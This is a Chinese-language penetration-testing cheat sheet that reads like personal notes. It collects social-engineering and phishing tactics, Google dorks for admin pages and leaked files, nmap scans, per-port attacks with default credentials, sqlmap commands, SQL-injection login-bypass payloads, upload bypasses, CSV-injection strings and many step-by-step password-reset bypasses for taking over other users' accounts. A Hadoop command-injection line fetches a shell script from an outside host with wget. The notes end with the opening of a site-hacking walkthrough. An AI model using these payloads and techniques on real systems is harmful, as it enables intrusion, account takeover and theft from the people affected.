注意每一条链接 / 图片 / 视频链接可能包含用户ID
图片可能包含水印,exif可能会有GPS定位和手机类型,图片内容特征
视频也有可能有水印暴露社交账号ID,拍摄地点
从最早发布的动态看起,会有很大收获
一般得到一个账号的密码就相当于得到了其他账号的密码
一般人不同账号的用户名都是相同或相近的
一般人的社交账号头像用的都是一样的
尝试破解社保、公积金账号、身份z号(出生地、生日、星座、派出所代码)
虫部落快搜之文件搜索:https://search.chongbuluo.com/
qq群、群文件、贴吧论坛、目标自用论坛等社交平台钓鱼和信息泄露(爬邮箱等信息)
电子邮件伪造、网络钓鱼
下载恶意程序
输入敏感信息
大部分信息可以用来生成密码字典
对人:说服对方达成一致、恐吓对方(敏感词、漏洞、病毒、权威机构名称、),钓鱼获取信息
2.2 搜索引擎 OSINT
Google Hacking(baidu\bing\souhu\github)
GoogleHacking 常用语法
1、intext:(仅针对Google有效) 把网页中的正文内容中的某个字符作为搜索的条件
2、intitle: 把网页标题中的某个字符作为搜索的条件
3、cache: 搜索搜索引擎里关于某些内容的缓存,可能会在过期内容中发现有价值的信息
4、filetype/ext: 指定一个格式类型的文件作为搜索对象
5、inurl: 搜索包含指定字符的URL
6、site: 在指定的(域名)站点搜索相关内容
GoogleHacking其他语法
1、引号 "" 把关键字打上引号后,把引号部分作为整体来搜索
2、or 同时搜索两个或更多的关键字
3、link 搜索某个网站的链接 link:http://baidu.com 即返回所有和baidu做了链接的URL
4、info 查找指定站点的一些基本信息 GoogleHackingDatabase:
google-hacking-databaseGoogleHacking典型用法(特定资产的万能密码也要积累)
管理后台地址
site:http://target.com intext:管理 | 后台 | 后台管理 | 登陆 | 登录 | 用户名 | 密码 | 系统 | 账号 | login | system
site:http://target.com inurl:login | inurl:admin | inurl:manage
| inurl:manager | inurl:admin_login | inurl:system | inurl:backend
site:http://target.com intitle:管理 | 后台 | 后台管理 | 登陆 | 登录
上传类漏洞地址
site:http://target.com inurl:file
site:http://target.com inurl:upload
注入页面
site:http://target.com inurl:php?id=
(批量注入工具、结合搜索引擎)
编辑器页面
site:http://target.com inurl:ewebeditor
目录遍历漏洞
site:http://target.com intitle:index.of
SQL错误
site:http://target.com intext:"sql syntax near" | intext:"syntax error has occurred" | intext:"incorrect syntax near" | intext:"unexpected end of SQL command" | intext:"Warning: mysql_connect()" | intext:”Warning: mysql_query()" | intext:”Warning: pg_connect()"
phpinfo()
site:http://target.com ext:php intitle:phpinfo "published by the PHP Group"
配置文件泄露
site:http://target.com ext:.xml | .conf | .cnf | .reg | .inf | .rdp | .cfg | .txt | .ora | .ini
数据库文件泄露
site:http://target.com ext:.sql | .dbf | .mdb | .db
日志文件泄露
site:http://target.com ext:.log
备份和历史文件泄露
site:http://target.com ext:.bkf | .bkp | .old | .backup | .bak | .swp | .rar | .txt | .zip | .7z | .sql | .tar.gz | .tgz | .tar
公开文件泄露
site:http://target.com filetype:.doc | .docx | .xls | .xlsx | .ppt | .pptx | .odt | .pdf | .rtf | .sxw | .psw | .csv
邮箱信息
site:http://target.com intext:@http://target.com
site:http://target.com 邮件
site:http://target.com email
社工信息
site:http://target.com intitle:账号 | 密码 | 工号 | 学号 | 身份z
2.3浏览器实用插件:
2.4乌云和cnvd
乌云库\乌云镜像\GHDB\CNVD等公开漏洞库
从管理员和用户的角度了解整个WEB应用乃至整个目标的全貌,主动探测会暴露ip以及留下日志信息,所以要...
1.1常见服务漏洞
nmap的功能:
脚本扫描,隐蔽扫描,端口扫描,服务识别,OS识别,探测WAF
nmap脚本主要分为以下几类,在扫描时可根据需要设置
--script=类别这种方式进行比较笼统的扫描:
auth: 负责处理鉴权证书(绕开鉴权)的脚本
broadcast: 在局域网内探查更多服务开启状况,如dhcp/dns/sqlserver等服务
brute: 提供暴力破解方式,针对常见的应用如http/snmp等
default: 使用-sC或-A选项扫描时候默认的脚本,提供基本脚本扫描能力
discovery: 对网络进行更多的信息,如SMB枚举、SNMP查询等
dos: 用于进行拒绝服务攻击
exploit: 利用已知的漏洞入侵系统
external: 利用第三方的数据库或资源,例如进行whois解析
fuzzer: 模糊测试的脚本,发送异常的包到目标机,探测出潜在漏洞
intrusive: 入侵性的脚本,此类脚本可能引发对方的IDS/IPS的记录或屏蔽
malware: 探测目标机是否感染了病毒、开启了后门等信息
safe: 此类与intrusive相反,属于安全性脚本
version: 负责增强服务与版本扫描(Version Detection)功能的脚本
vuln: 负责检查目标机是否有常见的漏洞(Vulnerability),如是否有MS08_067
nmap --script=auth 192.168.137.*
负责处理鉴权证书(绕开鉴权)的脚本,也可以作为检测部分应用弱口令nmap --script=brute 192.168.137.*
提供暴力破解的方式 可对数据库,smb,snmp等进行简单密码的暴力猜解nmap --script=default 192.168.137.* 或者 nmap -sC 192.168.137.*
默认的脚本扫描,主要是搜集各种应用服务的信息,收集到后,可再针对具体服务进行攻击nmap --script=vuln 192.168.137.*
检查是否存在常见漏洞nmap -n -p445 --script=broadcast 192.168.137.4
在局域网内探查更多服务开启状况nmap --script external 202.103.243.110
利用第三方的数据库或资源,例如进行whois解析nmap --script banner ip
nmap -p port -sV ip
获取软件版本信息nmap -O ip
操作系统信息,版本nmap -A -v -sS -T2 ip
完整信息获取,详细显示,syn探测,高速扫描,系统和服务版本信息,脚本扫描和路由跟踪,外网扫描T2比较合适,T4以上不准确-sN;-sF;-sX
隐蔽扫描
-sN是Null扫描,是通过发送非常规的TCP通信数据包进行探测
nmap -sN 127.0.0.1
-sF是FIN扫描,当我们使用TCP SYN扫描时可能会被目标主机的防火墙发现,会阻止SYN数据包
,这时我们使用TCP FIN扫描方式会有很好的穿透效果.
nmap -sF 127.0.0.1扫描前1000号TCP端口
nmap 192.168.100.2Ping扫描8个本地主机(按ARP、ICMP、TCP 80的顺序)
nmap –sP 192.168.100.0-7扫描80,443端口
nmap -p 80,443 192.168.100.2扫描前1000号TCP端口,OS指纹,服务,然后运行一个NSE脚本
sudo nmap -A 192.168.100.2扫描全部65535个TCP端口,OS指纹,服务,然后运行一个NSE脚本
sudo nmap –A –p- 192.168.100.2扫描前1000号UDP端口
sudo nmap -sU 192.168.100.2扫描所有65535个UDP端口
sudo nmap -sU –p- 192.168.100.2扫描所有65535个UDP端口,并获取服务、OS指纹,之后运行一些NSE脚本
sudo nmap –sU -p- -A 192.168.100.2
nmap 脑图备查:见笔记
1.2常见端口漏洞利用
快速扫描:
Masscan -p80,800 ip --rate=10000
21 / FTP
匿名/暴力破解
拒绝服务
22 / SSH
暴力破解
23 / telnet
Winbox(CVE-2018-14847)
https://github.com/BasuCert/WinboxPoC
弱口令 / 暴力破解
161 / snmp
弱口令
https://blog.csdn.net/archersaber39/article/details/78932252
389 / ladp
匿名访问
https://www.cnblogs.com/persuit/p/5706432.html
ladp注入
http://www.4hou.com/technology/9090.html
https://www.freebuf.com/articles/web/149059.html
443 / ssl
openssl心脏出血
https://paper.seebug.org/437/
http://www.anquan.us/static/drops/papers-1381.html
https://www.freebuf.com/sectool/33191.html
445 / smb
win10 拒绝服务
永恒之蓝RCE
875 / rsync
匿名访问
http://www.anquan.us/static/bugs/wooyun-2016-0190815.html
https://paper.seebug.org/409/
http://www.91ri.org/11093.html
1433 / mssql
暴力破解
http://www.anquan.us/static/drops/tips-12749. html
https://www.seebug.org/appdir/Microsoft%20SQL%20Server
1521 / oracle
暴力破解
https://www.exploit-db.com/exploits/33084
2601 / zebra
http://www.anquan.us/static/bugs/wooyun-2013-047409.html
3128 / squid
3306 / mysql
RCE
http://www.91ri.org/17511.html
CVE-2015-0411
hash破解
https://www.freebuf.com/column/153561.html
waf绕过
https://www.freebuf.com/articles/web/155570.html
general_log_file getshell
https://www.freebuf.com/column/143125.html
提权
http://www.91ri.org/16540.html
3312 / kangle
getshell
https://www.secpulse.com/archives/23927.html
3389 / rdp
shift 放大镜 输入法绕过 guest用户
永恒之蓝(ESTEEMAUDIT)
https://www.freebuf.com/articles/system/132171.html
https://www.anquanke.com/post/id/86328
ms12-020
https://blog.csdn.net/meyo_leo/article/details/77950552
4440 / rundeck
https://www.secpulse.com/archives/29500.html
4848 / glassfish
文件读取
https://www.secpulse.com/archives/42277.html
https://www.anquanke.com/post/id/85948
GlassFish2 / admin:admin GlassFish3,4 / 如果管理员不设置帐号本地会自动登录,远程访问会提示配置错误
5432 / PostgreSQL
RCE
https://www.cnblogs.com/KevinGeorge/p/8521496.html
https://www.secpulse.com/archives/69153.html
默认账号postgres
参考
http://www.91ri.org/13070.html
http://www.91ri.org/6507.html
5672,15672,4369,25672 / RabbitMQ
(guest/guest)
5900 / VNC
https://www.seebug.org/appdir/RealVNC
5984 / CouchDB
http://xxx:5984/_utils/
6082 / varnish
CLI 未授权
https://www.secpulse.com/archives/10681.html
6379 / redis
Redis未授权
ssh publickey
crontab
webshell
反序列化
开机自启文件夹写bat
参考
https://www.freebuf.com/column/170710.html
7001,7002 / WebLogic
默认弱口令
weblogic/weblogic ,weblogic/welcom ,weblogic/welcom1,weblogic1/weblogic
反序列
CVE-2018-2628
https://www.freebuf.com/articles/web/169770.html
https://www.seebug.org/appdir/WebLogic
9200,9300 / elasticsearch
CVE-2015-1427
http://www.anquan.us/static/drops/papers-5142.html
CVE-2018-17246
https://www.seebug.org/vuldb/ssvid-97730
参考
https://www.seebug.org/search/?keywords=elasticsearch
9000 / fcgi
https://paper.seebug.org/289/
9043 / WebSphere
Websphere8.5
https://localhost:9043/ibm/console/logon.jsp
Websphere6-7
http://localhost:9043/ibm/console
后台未授权,登录后可部署WAR包
SOAP服务有反序列化
弱口令:admin / password
11211 / memcache
未授权
UDP反射
https://shockerli.net/post/memcached-udp-reflection-attack-bug/
27017,27018 / Mongodb
未授权
注入
https://www.anquanke.com/post/id/83763
phpMoAdmin RCE
https://www.aqniu.com/threat-alert/6978.html
50000 / SAP
SAP命令执行
https://www.secpulse.com/archives/20204.html
50070,50030 / hadoop
未授权
https://www.freebuf.com/vuls/173638.html
命令执行
host:50060/pstack?pid=123|wget http://somehost/shell.sh
https://www.seebug.org/search/?keywords=hadoop
其他
http://www.91ri.org/15441.html
1.3 WAF 及 bypass
探测 WAF
Nmap 探测 WAF 有两种脚本,
一种是 http-waf-detect,一种是 http-waf-fingerprint。
- nmap -p port --script=http-waf-detect ip
-
- wafw00f -a http://example.com
- sqlmap-u “http://www.vxxxx.org/ex.php?id=1” --identify-waf
bypass:
手工注入,详见笔记
1.4目录、后台和敏感路径文件扫描
御剑目录(土司专版,笔记里有)、后台扫描(图片属性地址暴露),
完善目录和账密字典方法:
基础字典包合并去重
- dymerge.py -u
-
- python pydictor.py -tool uniqbiner /my/dict/dirpath --output uniq.txt
-
- python pydictor.py -tool uniqifer /tmp/dicts.txt --output /tmp/uniq.txt
非常重要,有必要手动去浏览每个页面,点击页面上每一个跳转,这样在Burp的sitemap里面就可以出现这些请求和响应。
图片后台地址\图片后面的信息
跳转参数\奇怪的参数
泄露邮箱等社工信息
业务逻辑\架构
自动化渗透测试框架:(待补充)
Sn1per
Ary
自动化信息收集效率较高,从github上多找一找,也可以自己写
注意:登录类网站扫描要带cookies扫才能扫到
1.1Nikto Web服务漏洞扫描器
Tips:利用-Format选项来导出特定格式的扫描结果,使扫描结果更容易阅读和分析。
nikto -host http://example.com -output ~/nikto.html -Format html
NIKTO使用方法:
1、命令:nikto -update #升级,更新插件;
2、Nikto -list-plugins #查看插件;
3、Nikto -host http://1.1.1.1 #扫描目标:域名方式;
4、Nikto -host http://1.1.1.1 -output #扫描并输出结果
5、Nikto -host 1.1.1.1 -port 80 #扫描目标:ip地址加端口号
6、Nikto -host http://www.baidu.com -port 443 -ssl #扫描https网站
7、Nikto -host 文件名.txt #批量扫描目标
8、nmap -p80 192.168.1.0/24 -oG - | nikto -host -
#利用nmap扫描开放80端口的IP段并且oG(nmap结果输出并整理)通过管道的方式
“|”用nikto进行扫描
9、nikto -host 192.168.0.1 -useproxy http://localhost:8070
#利用代理进行扫描
10、-vhost
#当一个网站存在多个端口时可以使用-vhost
遍历所有网站进行扫描或一个ip对应多个网站
11、Nikto交互形参数
配置文件:
路径:/etc/nikto.conf
User Agent中文名为用户代理,简称 UA,它是一个特殊字符串头,使得服务器能够识别客户使用的操作系统及版本;
在nikto中最好修改成别的浏览器user agent;
设置cookie:
在配置文件中找到cookie进行设置(#STATIC-COOKIE= "cookie1"="cookie value";"cookie2"="cookie val")
IDS逃避技术:
主要为了躲避IDS、IPS检测告警-evasion #此参数使用方式(Nikto -host http://1.1.1.1 -evasion 1234)
逃避方式共8种:
1、随机url编码,2、自选路径,3、过早结束的URL
4、优先考虑长随机字符串5、参数欺骗
6、使用TAB作为命令的分隔符,7、使用变化的URL
8、使用Windows路径分隔符
1.2AWVS漏扫
这个没什么好说的,破解版到处都是。
1.3NESSUS
实时更新插件的漏扫,很好用,就是激活流程麻烦。
https://www.wuyini.cn/765.html
1.4Xray自动化的漏洞挖掘
burp+xray:
BurpSuite + Xray 被动扫描配置 - Ritte - 博客园
或者直接挂浏览器,点到哪里,扫到哪里
xray+各种漏扫联动
1.5Fuzz
Fuzz可以发现应用程序中没有被引用但是确实是可以访问的页面。
Discover Content是Burp中专门用于此目的的工具。
Burp Intruder也可以通过字典攻击来实施强制浏览(通常是在url参数和文件路径部分进行修改),爆破、注入等。
FuzzDB包含一些用于此目的的非常牛逼的字典。
2.1SQL注入:
初步测试:见框就上,加' " ) ))% and 1=1 and 1=2 and2-1 or ,
抓包爆破常用SQL注入payload字典,上burp intruder
纯手工注入和手工绕过waf,详见笔记。
通过搜索引擎,批量查找注入点,详见笔记。
然后用傀儡注入点批量搜集工具
实操案例:
sql注入思路(登录界面)和网络常用端口_u011975363的专栏-CSDN博客
超级SQL注入工具(github)
sqlmap一把梭:
注意:命令为kali linux中运行的 (windows中用python sqlmap.py执行)
注入六连:
1.sqlmap -u "http://www.xx.com?id=x" 查询是否存在注入点
2.--dbs 检测站点包含哪些数据库
3.--current-db 获取当前的数据库名
4.--tables -D "db_name" 获取指定数据库中的表名 -D后接指定的数据库名称
5.--columns -T "table_name" -D "db_name" 获取数据库表中的字段
6.--dump -C "columns_name" -T "table_name" -D "db_name"
获取字段的数据内容
COOKIE注入:
sqlmap -u "http://www.xx.com/xxx.asp" --cookie "id=XXX cookie" --level 2 \
cookie注入 后接cookie值
POST注入:
(1)目标地址http:// http://www.xxx.com /login.asp
(2)打开burp代理
(3)点击表单提交
(4)burp获取拦截信息(post)
(5)右键保存文件(.txt)到指定目录下
(6)运行sqlmap并执行如下命令:
用例:sqlmap -r okay.txt -p username
// -r表示加载文件(及步骤(5)保存的路径)
-p指定参数(即拦截的post请求中表单提交的用户名或密码等name参数)
(7)自动获取表单:--forms自动获取表单
例如:sqlmap -u http://www.xx.com/login.asp --forms
(8)指定参数搜索:--data
例如:sqlmap -u http://www.xx.com/login.asp --data "username=1"
常用指令:
--purge 【重新扫描(--purge 删除原先对该目标扫描的记录)
--tables 【获取表名
--dbs 【检测站点包含哪些数据库
--current-db 【获取当前的数据库名
--current-user 【检测当前用户
--is-dba 【判断站点的当前用户是否为数据库管理员
--batch 【默认确认,不询问你是否输入
--search 【后面跟参数 -D -T -C 搜索列(C),表(T)和或数据库名称(D)
--threads 10 【线程,sqlmap线程最高设置为10
--level 3 【sqlmap默认测试所有的GET和POST参数,当--level的值大于等于2的时候也会测试HTTP Cookie头
的值,
当大于等于3的时候也会测试User-Agent和HTTP Referer头的值。最高为5
--risk 3 【执行测试的风险(0-3,默认为1)risk越高,越慢但是越安全
-v 【详细的等级(0-6)
0:只显示Python的回溯,错误和关键消息。
1:显示信息和警告消息。
2:显示调试消息。
3:有效载荷注入。
4:显示HTTP请求。
5:显示HTTP响应头。
6:显示HTTP响应页面的内容
--privileges 【查看权限
--tamper xx.py,cc.py 【防火墙绕过,后接tamper库中的py文件
--method "POST" --data "page=1&id=2" 【POST方式提交数据
--threads number 【采用多线程 后接线程数
--referer "" 【使用referer欺骗
--user-agent "" 【自定义user-agent
--proxy “目标地址″ 【使用代理注入
sqlmap常用路径:
添加表字段的目录在/usr/share/sqlmap/txt/common-tables.txt
存放扫描记录的目录在/root/.sqlmap/output
高阶玩法:
自己写tamper.py
2.2XSS:
xss漏洞原理分析与挖掘方法 - 知乎
web漏洞 | XSS(跨站攻击脚本)详解
XSS汇总
XSS小结 - 先知社区
2020跨站点脚本[xss]速查表|雨苁
XSSer自动化工具
XSStrike 自动化绕过WAF
xss payload字典 burp爆破
客服对话系统上XSS打cookie
搭建XSS平台 3s.wf/
http://xssor.io
2.3文件上传
字典生成 https://github.com/c0ny1/upload-fuzz-dic-builder
文件上传绕过总结,详见笔记
目录穿越
上传后如果没有被文件重命名,可以在文件名值做目录跳转
注意一些像目录的参数名
dir path location url
文件头绕过
修改上传类型 Content-Type
双文件上传
截断
长文件名
长Content-Disposition
%00截断
特殊文件
svg / html / htm / swf
xss
pdf
chrome 里可以跳转
cer / asa / spx / php5 / phtml
可能会被当做动态语言解析
.htaccess / .user.ini / web.config / web.xml
修改解析规则
.xls / .xlsx
POI Excel XXE
.tar / .tar.gz / .zip
可能存在文件释放目录跳转问题
.pkl
python反序列化文件
.xml
可能有 XXE
.yaml / .yml
YAML 反序列化
.jar / .class
上传到 java classpath 的目录下,类被加载时执行代码
无大小和次数限制
无限上传制造垃圾数据堵死硬盘
有图片加工的地方可以注意一下imagemagick命令执行
文件读取
读取系统敏感文件
文件包含
可读取文件或代码执行
文件删除
删除配置文件可破坏网站
删除安装锁可重装
文件解压
如果上传文件为 tar / tar.gz 类型,可以尝试构压缩包内文件名为../../../../xxx 的tar包
文件导出
如果是CSV 或者 Excel可以注意一下CSV注入
=2222-1
-1+1=2222-1
@=2222-1
\r\n=2222-1
111,=2222-1,
2.4命令执行
命令注入
--xxxx 参数注入
| 和 | | 与符号
& 和 && 与符号
; 分号
${}
代码执行
表达式
freemarker
OGNL
Spel
jsel
非表达式(php)
eval
assert
call_user_func() / call_user_func_array()
preg_replace()
create_function()
array_map()
array_filter()
usort() / uasort()
反序列化
php 源文件拼接写入
java
反序列化
远程 jar 加载
反射机制
jsp 源文件拼接写入
2.5弱口令及字典破解
后台弱口令爆破撞库
(尝试万能密码、特定资产常用密码、弱口令后再撞库、有的数据库要输对用户名再注释
我的github有收集的字典 https://github.com/hackerX2021)
asp aspx万能密码
1: "or "a"="a
2: ')or('a'='a
3:or 1=1--
4:'or 1=1--
5:a'or' 1=1--
6: "or 1=1--
7:'or'a'='a
8: "or"="a'='a
9:'or''='
10:'or'='or'
11: 1 or '1'='1'=1
12: 1 or '1'='1' or 1=1
13: 'OR 1=1%00
14: "or 1=1%00
15: 'xor
16: 新型万能登陆密码用户名 ' UNION Select 1,1,1 FROM admin Where ''=' (替换表名admin)
密码 1
Username=-1%cf' union select 1,1,1 as password,1,1,1 %23
Password=117..admin' or 'a'='a 密码随便
PHP万能密码'or'='or'
'or 1=1/* 字符型 GPC是否开都可以使用
User: something
Pass: ' OR '1'='1jsp 万能密码
1'or'1'='1
admin' OR 1=1/*
用户名:admin 系统存在这个用户的时候 才用得上
密码:1'or'1'='1
pydictor、cupp、crunch字典生成工具、自写字典生成py(小黑的人名字典py);
dymerge字典合并去重工具、自己写去重py;hydra爆破工具
tips:
超级弱口令检验工具
burpsuite 爆破
使用弱用户名对密码进行暴力破解
使用弱口令密码对用户名进行暴力破解
### 2.6逻辑漏洞
Cookie
一些网站会利用 Cookie 是否为空、Session 是否为 true 来判断用户是否可以登录,只要构造一个 Cookie 或 Session 为 true 就可以绕过认证登录
通过修改 Cookie 中的某个参数来实现登录其他用户,要抓包具体分析
数据篡改
数量、金额、ID、邮箱等数据:最大超过限制、负数、0、其他用户数据,提交后查看是否进入正常业务流程,是否存在越权
例子:
修改普通用户密码,抓包
将 Referer 和 POST 中的普通用户改成 admin
提交数据后,直接返回了 admin 的密码修改页面,利用逻辑漏洞获取超级权限
抓包修改手机号参数为其他号码进行尝试,例如办查询页面,输入自己的号码然后抓包,修改手机号为他人号码,查看是否可以查询他人业务
手机号 篡改
邮箱或者用户 篡改
订单ID 篡改
商品编号 篡改
用户ID 篡改
金额 篡改
商品数量 篡改
验证码绕过
drop掉页面
返回包里可能就有验证码
一次验证码多用
验证码识别插件,burp
注册界面:
任意用户注册
可爆破用户名
注入
XSS
登录界面:
爆破用户名、密码
注入
万能密码
Xss Xss+Csrf
修改返回包信息,登入他人账户
修改cookie中的参数,如user,admin,id等
干货 | 登录点测试的Tips
忘记密码界面:
任意密码重置概要:
1.重置一个账户,不发送验证码,设置验证码为空发送请求。
2.发送验证码,查看相应包
3.验证码生存期的爆破
4.修改相应包为成功的相应包
5.手工直接跳转到校验成功的界面
6.两个账户,重置别人密码时,替换验证码为自己正确的验证码
7.重置别人密码时,替换为自己的手机号
8.重置自己的成功时,同意浏览器重置别人的,不发验证码
9.替换用户名,ID,cookie,token参数等验证身份的参数
10.通过越权修改他人的找回信息如手机/邮箱来重置
用户凭证暴力破解(验证码)
绕过的话,这里可以考虑一个现状:
例如:
phone=18888888888abc
国内很多情况下都没有过滤字符和限制输出长度,验证很有可能只是简单的处理
只要更换手机号后面的字符,就可以绕过请求过于频繁的限制
但是校验时,手机号后面的字符会被过滤,也就是可以利用暴力破解验证码(不计入次数)
所以只要在暴力破解的同时,改变手机号后面的字符即可达到漏洞效果根据手机号找回密码,但是验证次数被限制,抓包
可以尝试在手机号后面添加不为数字的字符,查看是否过滤
根据手机号找回密码,随便输个验证码,抓包
暴力破解验证码(假如只有四位),很快就可以破解出来
四位或六位纯数字,验证码次数未限制
例如:
如果验证码次数限制,破解一会就会提示请求过于频繁,这时就需要绕过限制
例如:
通过密保问题找回密码,查看源码,密保问题和答案就在源码中显示
返回凭证(验证码 及 token)、邮箱弱 token、用户凭证有效性、重新绑定
抓包,可以发现返回的数据中有一个加密的字符串(token),先记录下这个加密字符串
继续按照正常流程,登录邮箱获得验证码,返回填写验证码后,进入下一个填写新密码页面,发现 URL 后新增了一个加密验证的字符串
这个字符串就是之前数据包中记录的字符串,所以邮箱验证码这个环节可以绕过,直接用他人邮箱抓包获得加密字符串就可以重置他人密码
根据手机号找回密码,抓包,可以发现验证码直接显示 verifycode=xxxx,或者由 md5 加密后显示,解密即可(同理,有的时候输入用户名,抓包可以看到返回的手机号等其他信息)
根据邮箱找回密码,抓包直接返回,密码找回凭证可能在页面中
例如:
利用两个帐号同时点击找回密码,去邮箱查看找回密码的链接,发现两者的随机 token 只差 1-2,而且可以猜测出为服务器时间
所以可以用一个未知帐号和一个已知帐号同时点击找回密码,稍微遍历一下随机 token,就可以构造出未知帐号的密码找回链接
例如:
通过邮箱找回密码,正常流程去邮箱查看重置密码链接,发现链接处有一串 md5 加密字符串
字符串解密,类似 1491293277(10位),可以判断为 Unix时间戳,(可能md5)
重置他人密码只需要利用他人邮箱发送重置密码邮箱,在短时间内对 Unix时间戳 进行暴力破解,即可获得重置密码的链接
重置密码链接直接使用用户名来区别,改变用户名即可更改他人密码
绕过token
正常流程下,对每个功能模块进行抓包,分别是发送验证码,验证验证码是否正确,获取 token,重置密码
接下来,用他人帐号通过邮箱验证,抓包,将其中 Cookie 内从 JSESSIONID 开始的内容替换至正常流程的发生验证码包内,同时替换自己接受验证码的邮箱,提交
通过邮箱获取验证码后,将验证码、Cookie、他人帐号、自己邮箱替换至验证验证码模块,提交(不用在意返回是否错误)
继续替换内至获取 token 模块,提交获取 token
最后将获取的 token 和上面的内容替换至最后的重置密码模块,提交成功修改密码
例如:
通过邮箱找回密码,访问链接重置密码,输入新密码后提交时抓包,虽然有 token,但是依然可以直接修改 用户ID 进而修改他人密码
例如:
通过他人手机号找回密码,抓包,将他人手机号替换成自己的手机号,获取验证码,提交后修改密码
通过自己手机号找回密码,获取验证码后抓包,将数据包中的 username 改为他人用户名,提交后成功修改他人密码
短信验证码、邮箱 token、重置密码 token
例如:
通过邮箱找回密码,URL 链接中修改 用户ID 为他人,邮箱不变,之后通过链接可以将他人账户绑定为自己的邮箱,之后通过邮箱找回密码
例如:
给已知账户绑定手机,发现绑定手机的 URL 链接中有 uid 参数,修改 uid 参数为他人的,即可实现将他人的账户绑定上自己的手机,之后通过手机来修改密码
修改个人资料处抓包,修改 userId 为他人,修改 mobilePhone 为自己的手机,即可实现将他人的账户绑定上自己的手机,之后通过手机来修改密码
手机绑定、邮箱绑定
例如:
通过密码保护问题找回密码,抓包,将密码保护问题删除,直接修改密码,提交
注:此处密保问题和新密码在同一页面
例如:
正常流程,通过手机号提交验证码找回密码处抓包,记录下这个包的内容
通过已知用户名找回密码,查看源代码可以发现用户其他信息(比如:手机号、邮箱)
通过发现的手机号选择通过手机找回密码,随便输入短信验证码,抓包
修改之前记录下的包的内容,将其中 Session id、用户ID 修改为刚刚从其他用户名抓包获得的内容,提交这个包,即可成功修改他人密码
最终提交步骤
例如:
通过邮箱找回密码,最后通过链接至修改密码页面,修改密码后提交,抓包,获得 Uid 参数,修改为他人,即可修改其他用户密码
服务器验证的验证逻辑为空(绕过认证)
例如:
通过邮箱找回密码,点击请重新发送邮件处抓包,将邮箱改为自己的邮箱,通过链接成功修改密码
例如:
通过手机找回密码,输入验证码和新的密码,F12 审查元素,修改自己的手机为他人手机,提交成功修改他人手机(也可以抓包修改)
例如:
正常流程下,密码找回,查看最后设置新密码页面的 URL,记录下来
继续返回密码找回处,输入其他用户名,提交找回申请,直接访问上面记录下的修改密码页面,成功修改密码
也可以正常流程下,修改密码页面抓包,修改其中的 USERNAME_COOKIE 为其他用户(有可能会经过编码,比如 base64),提交即可修改其他用户密码
如果抓包其中有 step 参数,可以修改这个参数为最后一步(比如:5),提交便可略过之前的步骤
跳过验证步骤、找回方式、直接到设置新密码页面
例如:
通过用户名找回密码,提交后会自动发送验证码到手机中,所以抓包,修改手机为自己的手机(如果其中有 type 之类的参数,也可以尝试修改,有 email之类的参数,可以尝试删除内容)
发送修改后的包,手机成功接收验证码
输入验证码,继续发送,抓包,如果有 type 之类的参数,可以继续尝试修改,发送就可以成功修改密码
例如:
通过手机找回密码,随便输入验证码,抓包,发送,拦截返回包
修改返回包中的返回码,继续发送,说不定就可以绕过验证,直接跳到修改密码的页面通过手机找回密码,正常流程下到重置密码页面,抓包查看返回数据中有一段加密字符串
利用他人手机找回密码,URL 跳转到验证身份页面,链接中就有一段加密字符串,记录下,随便输入验证码
抓包,修改包中数据为正常流程下的数据,替换加密字符串,Forward 发送,就可以绕过验证码,直接修改密码
输入用户名,加个单引号报错,说明可能存在报错,抓包,保存为 txt 文件,导入 Sqlmap 中跑一遍
找回密码处存在注入漏洞(见框就×)
通过邮箱找回密码,正常流程下,抓包查看提交验证码后返回的数据,发现有加密字符串,这个加密字符串和后面重新设置新密码 URL 链接中的加密字符串一样,所以可以利用这个加密字符串
根据上面提交验证码的抓包,修改其中的 User 为其他用户(User 有可能会使用 md5 加密),发送,就可以返回其他用户的加密字符串
重新返回到找回密码首页,利用其他用户找回,点下一步,到输入验证码处(也有可能需要点击发送验证码),直接修改 URL 链接,加入加密字符串,可以直接绕过验证码,重置密码
session 覆盖漏洞
注册重复的用户名,例如 admin,相当于修改了密码
同一浏览器,首先输入自己的账户进行邮箱密码找回,进入邮箱查看链接,接着输入他人账户,进行密码找回,返回刚刚自己的邮箱点击链接,由于 session 覆盖导致了,这个链接成为了修改他人密码的链接,成功修改他人密码
尝试正常密码找回流程
选择不同的找回方式,记录所有数据包
邮箱找回密码
根据密码保护问题找回密码
根据手机号找回密码
分析数据包,找出敏感部分
分析后台找回机制所采用的验证手段
修改数据包进行验证是否存在密码找回漏洞
From:https://resources.infosecinstitute.com/topic/hacking-a-wordpress-site/
网站渗透测试原理及详细过程:https://wenku.baidu.com/view/bb1e9f72783e0912a2162a48.html
很好的渗透流程,很标准的科普文~~
关键字:黑客是如何锁定并黑掉一个目标站点、入侵网站思路
问题的答案看起来不那么确定,显而易见的是黑掉一个站点有很多种方法。在这篇文章,我们的目标是要给大家展示一下黑客是如何锁定并黑掉一个目标站点的!
让我们来看看目标站点:hack-test.com
先 ping 下站点所在服务器的IP:
现在我们有了目标站点所在服务器的 IP 即 173.236.164.23
然后我们可以找找同个IP上的其他站点(旁站:sameip.org ):
Same IP 26 sites hosted on IP Address 173.236.138.113
ID | Domain | Site Link |
1 | hijackthisforum.com | hijackthisforum.com |
... | ... | ... |
26 | utiligolf.com | utiligolf.com |
总计有 26个 站点在[173.236.138.113]这台服务器上。为了黑掉目标站点,许多黑客会把目标站点同服的其他站点也划入攻击范围内。但是出于学习的目的,我们今天暂且将其他站点放在一边。
我们需要更多关于目标站点的信息(Ps:笔者认为在渗透测试过程中,这比实施测试的环节来得重要得多。),他们包括:
让我们先来查询相关 DNS 记录吧,这里用的是 who.is:
目标站点 DNS 记录信息:
Record | Type | TTL | Priority | Content |
hack-test.com | A | 4 hours | 173.236.138.113 () | |
hack-test.com | SOA | 4 hours | ns1.dreamhost.com. hostmaster.dreamhost.com. 2011032301 15283 1800 1814400 14400 | |
hack-test.com | NS | 4 hours | ns1.dreamhost.com | |
hack-test.com | NS | 4 hours | ns3.dreamhost.com | |
hack-test.com | NS | 4 hours | ns2.dreamhost.com | |
www.hack-test.com | A | 4 hours | 173.236.138.113 () |
同时确认 WEB 服务 的类型:
显而易见是 Apache ,稍后我们将确定其版本:
HACK-TEST.COM SITE INFORMATION
IP: 173.236.138.113
Website Status: active
Server Type: Apache
Alexa Trend/Rank: 1 Month: 3,213,968 3 Month: 2,161,753 Page Views per Visit: 1 Month: 2.0 3 Month: 3.7
现在是时候来查询目标站点持有人(也许可能就是管理员)信息了:
现在我们有了管理员的一些相关信息了,祭出 kali 中的神器 Whatweb 来确认操作系统和WEB服务版本信息:
